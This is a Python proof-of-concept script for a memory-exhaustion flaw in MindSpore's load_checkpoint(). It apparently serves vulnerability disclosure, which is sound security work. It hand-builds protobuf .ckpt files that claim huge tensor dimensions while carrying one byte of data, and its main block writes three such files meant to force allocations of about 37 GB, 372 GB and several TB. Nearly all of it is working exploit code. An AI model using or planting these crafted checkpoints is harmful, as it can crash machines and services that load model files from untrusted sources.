#!/usr/bin/env python3
"""
MindSpore CWE-789: DoS via unbounded tensor allocation in load_checkpoint()

Crafts a minimal .ckpt file (protobuf2 format) where tensor dims specify
enormous dimensions but tensor_content is tiny. When loaded via
mindspore.load_checkpoint(), the C++ layer allocates memory based on dims
(attacker-controlled) not on actual data size.

Vulnerable path:
  load_checkpoint() -> _parse_ckpt_proto() -> _load_into_param_dict()
    -> Tensor_.convert_bytes_to_tensor(data, dims, type)
    -> C++: tensor::Tensor(data_type, shape)  # allocates prod(dims)*dtype_size bytes

Proto schema (checkpoint.proto):
  message Checkpoint { repeated Value value = 1; }
  message Value { required string tag = 1; oneof { TensorProto tensor = 2; } }
  message TensorProto {
    repeated int64 dims = 1;
    required string tensor_type = 2;
    required bytes tensor_content = 3;
  }
"""
import struct
import sys

def encode_varint(value):
    """Encode an integer as a protobuf varint."""
    if value < 0:
        value = value + (1 << 64)
    result = []
    while value > 0x7f:
        result.append((value & 0x7f) | 0x80)
        value >>= 7
    result.append(value & 0x7f)
    return bytes(result)

def encode_field(field_number, wire_type, data):
    """Encode a protobuf field."""
    tag = encode_varint((field_number << 3) | wire_type)
    return tag + data

def encode_length_delimited(field_number, data):
    """Encode a length-delimited field (wire type 2)."""
    return encode_field(field_number, 2, encode_varint(len(data)) + data)

def encode_varint_field(field_number, value):
    """Encode a varint field (wire type 0)."""
    return encode_field(field_number, 0, encode_varint(value))

def craft_malicious_ckpt(output_path, dim1=100000, dim2=100000, dim3=100):
    """
    Craft a .ckpt file with huge dims but 1 byte of actual data.
    
    Default dims: [100000, 100000, 100] = 1e12 elements
    At float32 (4 bytes): 1e12 * 4 = 4 TB attempted allocation
    Actual file size: ~50 bytes
    """
    
    # TensorProto:
    #   field 1 (dims): repeated int64 - use packed encoding
    #   field 2 (tensor_type): string = "Float32"  
    #   field 3 (tensor_content): bytes = b"\x00" (1 byte)
    
    # Pack dims as repeated int64 (each as separate varint fields)
    dims_data = b''
    dims_data += encode_varint_field(1, dim1)
    dims_data += encode_varint_field(1, dim2)
    dims_data += encode_varint_field(1, dim3)
    
    # tensor_type = "Float32"
    tensor_type = b'Float32'
    dims_data += encode_length_delimited(2, tensor_type)
    
    # tensor_content = 1 byte
    tensor_content = b'\x00'
    dims_data += encode_length_delimited(3, tensor_content)
    
    tensor_proto = dims_data
    
    # Value message:
    #   field 1 (tag): string = "malicious.weight"
    #   field 2 (tensor): TensorProto
    tag_name = b'malicious.weight'
    value_msg = encode_length_delimited(1, tag_name)
    value_msg += encode_length_delimited(2, tensor_proto)
    
    # Checkpoint message:
    #   field 1 (value): repeated Value
    checkpoint_msg = encode_length_delimited(1, value_msg)
    
    with open(output_path, 'wb') as f:
        f.write(checkpoint_msg)
    
    total_elements = dim1 * dim2 * dim3
    alloc_gb = (total_elements * 4) / (1024**3)
    
    print(f"[+] Malicious .ckpt written to: {output_path}")
    print(f"[+] File size: {len(checkpoint_msg)} bytes")
    print(f"[+] Claimed dims: [{dim1}, {dim2}, {dim3}]")
    print(f"[+] Total elements: {total_elements:,.0f}")
    print(f"[+] Attempted allocation (float32): {alloc_gb:,.1f} GB")
    print(f"[+] Actual data: 1 byte")
    return checkpoint_msg

if __name__ == '__main__':
    # Vector 1: Moderate allocation (~37 GB) - will OOM on most systems
    craft_malicious_ckpt('/tmp/mindspore-poc/dos_moderate.ckpt', 
                         dim1=100000, dim2=100000, dim3=1)
    print()
    
    # Vector 2: Extreme allocation (~3.7 TB) - will OOM on any system
    craft_malicious_ckpt('/tmp/mindspore-poc/dos_extreme.ckpt',
                         dim1=100000, dim2=100000, dim3=100)
    print()
    
    # Vector 3: Minimal file, still dangerous (~372 GB)
    craft_malicious_ckpt('/tmp/mindspore-poc/dos_minimal.ckpt',
                         dim1=10000, dim2=10000, dim3=1000)